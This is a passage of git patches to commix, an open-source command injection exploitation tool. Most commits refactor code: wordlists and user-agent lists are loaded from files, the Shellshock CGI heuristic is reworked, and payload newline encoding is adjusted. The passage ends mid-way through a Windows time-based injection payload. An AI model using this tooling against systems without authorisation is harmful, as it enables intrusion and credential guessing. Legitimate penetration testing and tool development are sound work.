CrOS x86_64 14816.131.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/116.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/28.0 Chrome/130.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0 +Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 +Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0 +Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 +Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0 +Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0 +Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0 +Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0 \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 87918aba0a..bf281c1e5d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "96" +REVISION = "97" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -289,6 +289,9 @@ def sys_argv_errors(): # Random variable name RANDOM_VAR_GENERATOR = ''.join(random.choice(string.ascii_uppercase) for _ in range(3)) +# Path to text resources folder +TXT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + START_TIME = time.time() # Maximum number of lines to save in history file @@ -712,51 +715,6 @@ class INJECTION_TECHNIQUE(object): USER_APPLIED_TECHNIQUE = False SKIP_TECHNIQUES = False -# User Agent List -USER_AGENT_LIST = [ - # Opera - "Opera/8.0 (X11; Linux i686; U; en)", - "Opera/9.01 (X11; FreeBSD 6 i386; U; en)" - "Opera/8.51 (FreeBSD 5.1; U; en)", - "Opera/8.51 (Macintosh; PPC Mac OS X; U; de)", - "Opera/9.00 (Macintosh; PPC Mac OS X; U; es)", - "Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02", - # Mozilla Firefox - "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20131331 Firefox/31.0", - "Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 (.NET CLR 3.0.04506.31)", - "Mozilla/5.0 (X11; Linux i686; rv:21.0) Gecko/20100101 Firefox/21.0", - "Mozilla/5.0 (MSIE 7.0; Macintosh; U; SunOS; X11; gu; SV1; InfoPath.2; .NET CLR 3.0.04506.31; .NET CLR 3.0.04506.648)", - "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko", - "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5", - "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0", - "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7", - "Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0", - "Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.1.6) Gecko/20091216 Fedora/3.5.6-1.fc11 Firefox/3.5.6 GTB6", - "Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1b3) Gecko/20090315 Firefox/3.1b3", - "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20131401 Firefox/31.0", - "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.34 (KHTML, like Gecko) Dooble/1.40 Safari/534.34", - # Oldies - "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.0", - "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)", - "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)", - "mozilla/3.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/5.0.1", -] - -# Mobile User Agents -MOBILE_USER_AGENT_LIST = [ - "Mozilla/5.0 (BB10; Kbd) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.3.2205 Mobile Safari/537.35+", - "Mozilla/5.0 (Linux; Android 7.0; SM-G931V Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3171.125 Mobile Safari/537.36", - "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; HP iPAQ h6310)", - "Mozilla/5.0 (Linux; Android 8.0.0; HTC 10 Build/OPR1.170623.027) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36", - "Mozilla/5.0 (Linux; Android 4.4.4; HUAWEI H891L Build/HuaweiH891L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36", - "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1", - "Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; Lumia 950) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Mobile Safari/537.36 Edge/15.14977", - "Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19", - "Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344", - "Mozilla/5.0 (Linux; Android 8.0.0; Pixel Build/OPR3.170623.013) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36", - "Mozilla/5.0 (Linux; U; Android 4.4.4; en-gb; MI 3W Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36 XiaoMi/MiuiBrowser/2.1.1", -] - # Default Scheme SCHEME = "" @@ -1080,18 +1038,26 @@ class INJECTION_TECHNIQUE(object): SESSION_FILE = "" LOAD_SESSION = None -# Define the default credentials files -USERNAMES_TXT_FILE = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/" + "default_usernames.txt" -PASSWORDS_TXT_FILE = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/" + "default_passwords.txt" +# Path to file containing desktop/browser User-Agent strings +USER_AGENT_LIST = os.path.join(TXT_DIR, "user-agents.txt") + +# Path to file containing mobile User-Agent strings +MOBILE_USER_AGENT_LIST = os.path.join(TXT_DIR, "mobile-user-agents.txt") + +# Path to file with default username values +USERNAMES_TXT_FILE = os.path.join(TXT_DIR, "default_usernames.txt") + +# Path to file with default password values +PASSWORDS_TXT_FILE = os.path.join(TXT_DIR, "default_passwords.txt") + +# Path to file with known CGI scripts/pages potentially vulnerable to Shellshock +CGI_SCRIPTS = os.path.join(TXT_DIR, "shocker-cgi_list.txt") REQUIRED_AUTHENTICATION = False INJECTED_HTTP_HEADER = False INJECTION_CHECKER = False -# List of pages / scripts potentially vulnerable to Shellshock -CGI_SCRIPTS = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/" + "shocker-cgi_list.txt" - INSTALL_DIR = "/usr/share/" WRAPPER_PATH = "/usr/bin/" From 339c50233ff9576f06ae2d200d5b6a8cf1aa2af1 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 11 Sep 2025 09:09:51 +0300 Subject: [PATCH 0624/1023] Code refactoring --- src/core/injections/controller/checks.py | 22 +------- src/core/main.py | 3 +- src/core/requests/authentication.py | 66 +++++------------------- src/utils/common.py | 31 +++++++++++ src/utils/settings.py | 2 +- 5 files changed, 48 insertions(+), 76 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index a16a9bd2b2..807d88d848 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -307,10 +307,9 @@ def skip_testing(filename, url): """ def mobile_user_agents(): menu.mobile_user_agents() + # Load the mobile user-agent list from file mobile_agents = common.load_list_from_file(settings.MOBILE_USER_AGENT_LIST, "mobile user-agent list") - with open(settings.MOBILE_USER_AGENT_LIST, "r", encoding="utf-8") as f: - mobile_agents = [line.strip() for line in f if line.strip()] while True: message = "Which smartphone do you want to imitate through HTTP User-Agent header? > " @@ -1075,24 +1074,7 @@ def ps_check_failed(): Check if CGI scripts (shellshock injection). """ def check_CGI_scripts(url): - try: - CGI_SCRIPTS = [] - if not os.path.isfile(settings.CGI_SCRIPTS ): - err_msg = "The pages/scripts list '" + settings.CGI_SCRIPTS + "' was not found" - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - if len(settings.CGI_SCRIPTS ) == 0: - err_msg = "The pages/scripts list '" + settings.CGI_SCRIPTS + "' is empty." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - with open(settings.CGI_SCRIPTS , "r") as f: - for line in f: - line = line.strip() - CGI_SCRIPTS.append(line) - except IOError: - err_msg = " Cannot read the pages/scripts list '" + settings.CGI_SCRIPTS + "'. Check if the file is corrupted or unreadable." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + CGI_SCRIPTS = common.load_list_from_file(settings.CGI_SCRIPTS, "CGI scripts list") _ = False for cgi_script in CGI_SCRIPTS: diff --git a/src/core/main.py b/src/core/main.py index 00a82854c5..78b8c6ce00 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -117,8 +117,7 @@ def user_agent(): else: pass try: - with open(settings.USER_AGENT_LIST, "r", encoding="utf-8") as f: - user_agents = [line.strip() for line in f if line.strip()] + user_agents = common.load_list_from_file(settings.USER_AGENT_LIST, "user-agent list") menu.options.agent = random.choice(user_agents) info_msg = "The fetched random HTTP User-Agent header value is '" + menu.options.agent + "'." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index d8a824988b..0c0ea76f51 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -66,75 +66,35 @@ def authentication_process(http_request_method): checks.connection_exceptions(err_msg) """ -Define the HTTP authentication -wordlists for usernames / passwords. +HTTP auth wordlists for usernames and passwords """ def define_wordlists(): while True: message = "Do you want to use default wordlists for dictionary-based attack? [Y/n] > " do_update = common.read_input(message, default="Y", check_batch=True) + if do_update in settings.CHOICE_YES: - username_txt_file = settings.USERNAMES_TXT_FILE - passwords_txt_file = settings.PASSWORDS_TXT_FILE + # Load default wordlists + usernames = common.load_list_from_file(settings.USERNAMES_TXT_FILE, "usernames wordlist") + passwords = common.load_list_from_file(settings.PASSWORDS_TXT_FILE, "passwords wordlist") info_msg = "Using default wordlists for dictionary-based authentication check." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) break + elif do_update in settings.CHOICE_NO: - message = "Please enter usernames wordlist > " - username_txt_file = common.read_input(message, default=None, check_batch=True) - message = "Please enter passwords wordlist > " - passwords_txt_file = common.read_input(message, default=None, check_batch=True) + # Load custom wordlists + username_txt_file = common.read_input("Please enter usernames wordlist > ", default=None, check_batch=True) + passwords_txt_file = common.read_input("Please enter passwords wordlist > ", default=None, check_batch=True) + usernames = common.load_list_from_file(username_txt_file, "usernames wordlist") + passwords = common.load_list_from_file(passwords_txt_file, "passwords wordlist") break + elif do_update in settings.CHOICE_QUIT: raise SystemExit() + else: common.invalid_option(do_update) - pass - - try: - usernames = [] - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Parsing usernames wordlist '" + username_txt_file + "'." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - if not os.path.isfile(username_txt_file): - err_msg = "The specified file '" + str(username_txt_file) + "' does not exist." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - if len(username_txt_file) == 0: - err_msg = "The specified file '" + str(username_txt_file) + "' seems empty." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - with open(username_txt_file, "r") as f: - for line in f: - line = line.strip() - usernames.append(line) - except IOError: - err_msg = " Check if file '" + str(username_txt_file) + "' is readable or corrupted." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - - try: - passwords = [] - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Parsing passwords wordlist '" + passwords_txt_file + "'." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - if not os.path.isfile(passwords_txt_file): - err_msg = "The specified file '" + str(passwords_txt_file) + "' does not exist." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - if len(passwords_txt_file) == 0: - err_msg = "The specified file '" + str(passwords_txt_file) + "' seems empty." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - with open(passwords_txt_file, "r") as f: - for line in f: - line = line.strip() - passwords.append(line) - except IOError: - err_msg = " Check if file '" + str(passwords_txt_file) + "' is readable or corrupted." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() return usernames, passwords diff --git a/src/utils/common.py b/src/utils/common.py index 708abbe1fd..f214222fdb 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -364,4 +364,35 @@ def unhandled_exception(): settings.print_data_to_stdout(settings.print_critical_msg(err_msg + "\n" + exc_msg.rstrip())) create_github_issue(err_msg, exc_msg[:]) +""" +Load a list of non-empty lines from a text file. +""" +def load_list_from_file(file_path, description="file"): + + if not os.path.isfile(file_path): + err_msg = "The " + description + " '" + file_path + "' was not found." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + try: + with open(file_path, "r", encoding="utf-8") as f: + items = [line.strip() for line in f if line.strip()] + except IOError: + err_msg = "Cannot read the " + description + " '" + file_path + "'. " + err_msg += "Check if the file is corrupted or unreadable." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + if not items: + err_msg = "The " + description + " '" + file_path + "' is empty." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + if settings.VERBOSITY_LEVEL > 0: + debug_msg = "Loaded " + str(len(items)) + " entries from " + description + " '" + file_path + "'." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + return items + + # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index bf281c1e5d..62bfdaa2b6 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "97" +REVISION = "98" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 5bac0ecffadbd0ebbd393b130a58ab57d0cdd32e Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 12 Sep 2025 06:59:11 +0300 Subject: [PATCH 0625/1023] Trivial update --- src/core/injections/controller/controller.py | 2 ++ src/core/main.py | 2 -- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 20543c4081..efde5622ac 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -869,6 +869,8 @@ def do_check(url, http_request_method, filename): warn_msg += "time-based injections because of inherent high latency time." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + # Check target URL for CGI scripts vulnerable to Shellshock. + checks.check_CGI_scripts(url) perform_checks(url, http_request_method, filename) # All injection techniques seems to be failed! diff --git a/src/core/main.py b/src/core/main.py index 78b8c6ce00..74a4c9e47e 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -526,8 +526,6 @@ def main(filename, url, http_request_method): password=password ) try: - # Check for CGI scripts on url - checks.check_CGI_scripts(url) # Check if defined "--file-upload" option. if menu.options.file_upload: menu.options.file_upload = os.path.abspath(menu.options.file_upload) diff --git a/src/utils/settings.py b/src/utils/settings.py index 62bfdaa2b6..f563db2b90 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "98" +REVISION = "99" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 3816c90665e6177402ee5025c589930ccb6817d9 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 15 Sep 2025 08:23:28 +0300 Subject: [PATCH 0626/1023] Trivial update regarding basic heuristic checks for CGI scripts --- src/core/main.py | 58 ++++++++++++++++++++----------------------- src/utils/settings.py | 2 +- 2 files changed, 28 insertions(+), 32 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 74a4c9e47e..c05c8965b0 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -93,48 +93,44 @@ def host(url): settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) def user_agent(): - # Check if defined "--mobile" option. - if menu.options.mobile: - if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.random_agent: - if not settings.MULTI_TARGETS or not settings.STDIN_PARSING: - err_msg = "The switch '--mobile' is incompatible with option '--user-agent' or switch '--random-agent'." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: - menu.options.agent = checks.mobile_user_agents() - - # Check if defined "--random-agent" option. - if menu.options.random_agent: - if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.mobile: - if not settings.MULTI_TARGETS or not settings.STDIN_PARSING: - err_msg = "The switch '--random-agent' is incompatible with option '--user-agent' or switch '--mobile'." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Fetching random HTTP User-Agent header. " - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - else: - pass - try: - user_agents = common.load_list_from_file(settings.USER_AGENT_LIST, "user-agent list") - menu.options.agent = random.choice(user_agents) - info_msg = "The fetched random HTTP User-Agent header value is '" + menu.options.agent + "'." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - except: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + # Determine which option is enabled + mobile_agent = menu.options.mobile + random_agent = menu.options.random_agent + custom_agent = menu.options.agent != settings.DEFAULT_USER_AGENT and not menu.options.requestfile + # Final debug message if settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP User-Agent header." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + # Combined check for incompatible combinations + if (mobile_agent and (custom_agent or random_agent)) or (random_agent and (custom_agent or mobile_agent)): + if not any([settings.MULTI_TARGETS, settings.STDIN_PARSING]): + if mobile_agent: + err_msg = "The switch '--mobile' is incompatible with option '--user-agent' or switch '--random-agent'." + else: + err_msg = "The switch '--random-agent' is incompatible with option '--user-agent' or switch '--mobile'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + # Set the User-Agent + if mobile_agent: + menu.options.agent = checks.mobile_user_agents() + elif random_agent: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Fetching random HTTP User-Agent header. " + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + user_agents = common.load_list_from_file(settings.USER_AGENT_LIST, "user-agent list") + menu.options.agent = random.choice(user_agents) + info_msg = "The fetched random HTTP User-Agent header value is '" + menu.options.agent + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + extra_headers() cookie() referer(url) host(url) user_agent() - """ Examine the request """ diff --git a/src/utils/settings.py b/src/utils/settings.py index f563db2b90..97ea528d6b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "99" +REVISION = "100" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 869dd929e6413c6193bbdfc240a92d2f739949d9 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 15 Sep 2025 08:30:19 +0300 Subject: [PATCH 0627/1023] Meta: Corrected commit title (3816c90) to 'Trivial update' From 9321bb76e66e080517cae8c43e41d7170217f7b1 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 16 Sep 2025 06:46:41 +0300 Subject: [PATCH 0628/1023] Trivial update regarding basic heuristic checks for CGI scripts --- src/core/injections/controller/checks.py | 25 +++++++++++++++++------- src/utils/settings.py | 2 +- 2 files changed, 19 insertions(+), 8 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 807d88d848..f4c37a2583 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1071,35 +1071,46 @@ def ps_check_failed(): pass """ -Check if CGI scripts (shellshock injection). +Perform basic heuristic checks for CGI scripts potentially vulnerable to Shellshock. """ def check_CGI_scripts(url): + + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Checking target URL for potentially vulnerable CGI scripts." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + CGI_SCRIPTS = common.load_list_from_file(settings.CGI_SCRIPTS, "CGI scripts list") _ = False for cgi_script in CGI_SCRIPTS: if cgi_script in url: - info_msg = "Heuristic (basic) tests show that target URL might contain a script " - info_msg += "vulnerable to shellshock. " + info_msg = "Heuristic (basic) tests show that target URL might be vulnerable to Shellshock " + info_msg += "(detected script: '" + cgi_script + "')." _ = True settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) while True: - message = "Do you want to enable the shellshock module ('--shellshock')? [Y/n] > " + message = "Do you want to enable the Shellshock module ('--shellshock')? [Y/n] > " shellshock_check = common.read_input(message, default="Y", check_batch=True) if shellshock_check in settings.CHOICE_YES: menu.options.shellshock = True - break + return elif shellshock_check in settings.CHOICE_NO: menu.options.shellshock = False - break + return elif shellshock_check in settings.CHOICE_QUIT: raise SystemExit() else: common.invalid_option(shellshock_check) pass + if not _: + debug_msg = "No potentially vulnerable CGI scripts detected in target URL." + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) menu.options.shellshock = False +""" +Safely parse a target URL into components. +""" def check_url(url): try: return _urllib.parse.urlsplit(url) @@ -1111,7 +1122,7 @@ def check_url(url): raise SystemExit() """ -Check if http / https. +Verify whether the URL scheme is HTTP or HTTPS. """ def check_http_s(url): url_split = check_url(url) diff --git a/src/utils/settings.py b/src/utils/settings.py index 97ea528d6b..f78c82c12c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "100" +REVISION = "101" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From ddb16830f345e7c4380e5c994c712243b3736ac5 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 22 Sep 2025 08:20:15 +0300 Subject: [PATCH 0629/1023] Trivial update --- src/core/injections/controller/checks.py | 5 +++-- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index f4c37a2583..204e639a7d 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1104,8 +1104,9 @@ def check_CGI_scripts(url): pass if not _: - debug_msg = "No potentially vulnerable CGI scripts detected in target URL." - settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "No potentially vulnerable CGI scripts detected in target URL." + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) menu.options.shellshock = False """ diff --git a/src/utils/settings.py b/src/utils/settings.py index f78c82c12c..f16ec151ca 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "101" +REVISION = "102" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 7d3b06ac9783d5a6fb3b45d8add8c2920ad97135 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 23 Sep 2025 07:08:13 +0300 Subject: [PATCH 0630/1023] Update payload newline encoding (based on PR https://github.com/commixproject/commix/pull/1017) --- src/core/injections/controller/checks.py | 17 ++++++++--------- src/utils/settings.py | 2 +- 2 files changed, 9 insertions(+), 10 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 204e639a7d..c8be78e0cd 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -660,16 +660,15 @@ def payload_newline_fixation(payload): """ def newline_fixation(payload): payload = _urllib.parse.unquote(payload) - if settings.END_LINE.CR in payload: - #_ = payload.find("\r\n") + 1 - #payload = _urllib.parse.quote(payload[:_]) + payload[_:] - payload = payload.replace(settings.END_LINE.CR,"%0d") - if settings.END_LINE.LF in payload: - #_ = payload.find("\n") + 1 - #payload = _urllib.parse.quote(payload[:_]) + payload[_:] - payload = payload.replace(settings.END_LINE.LF,"%0a") - return payload + for seq in [settings.END_LINE.CRLF, settings.END_LINE.CR, settings.END_LINE.LF]: + encoded = _urllib.parse.quote(seq) + # raw newlines to lowercase encoding + payload = payload.replace(seq, encoded.lower()) + # uppercase URL-encoded to lowercase + payload = payload.replace(encoded.upper(), encoded.lower()) + + return payload """ Page enc/decoding diff --git a/src/utils/settings.py b/src/utils/settings.py index f16ec151ca..8ab0d863dc 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "102" +REVISION = "103" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From ecda9ec63867829702a218bd72f54f2d2859a392 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 24 Sep 2025 06:43:29 +0300 Subject: [PATCH 0631/1023] Trivial update (based on PR https://github.com/commixproject/commix/pull/1017) --- .../techniques/time_based/tb_payloads.py | 32 +++++++++---------- .../techniques/tempfile_based/tfb_payloads.py | 32 +++++++++---------- src/utils/settings.py | 2 +- 3 files changed, 33 insertions(+), 33 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 07b41bcf3e..1384db3219 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -26,7 +26,7 @@ """ def decision(separator, TAG, output_length, timesec, http_request_method): if settings.TARGET_OS == settings.OS.WINDOWS: - if separator == "|" or separator == "||" : + if separator in ("|", "||"): pipe = "|" payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c 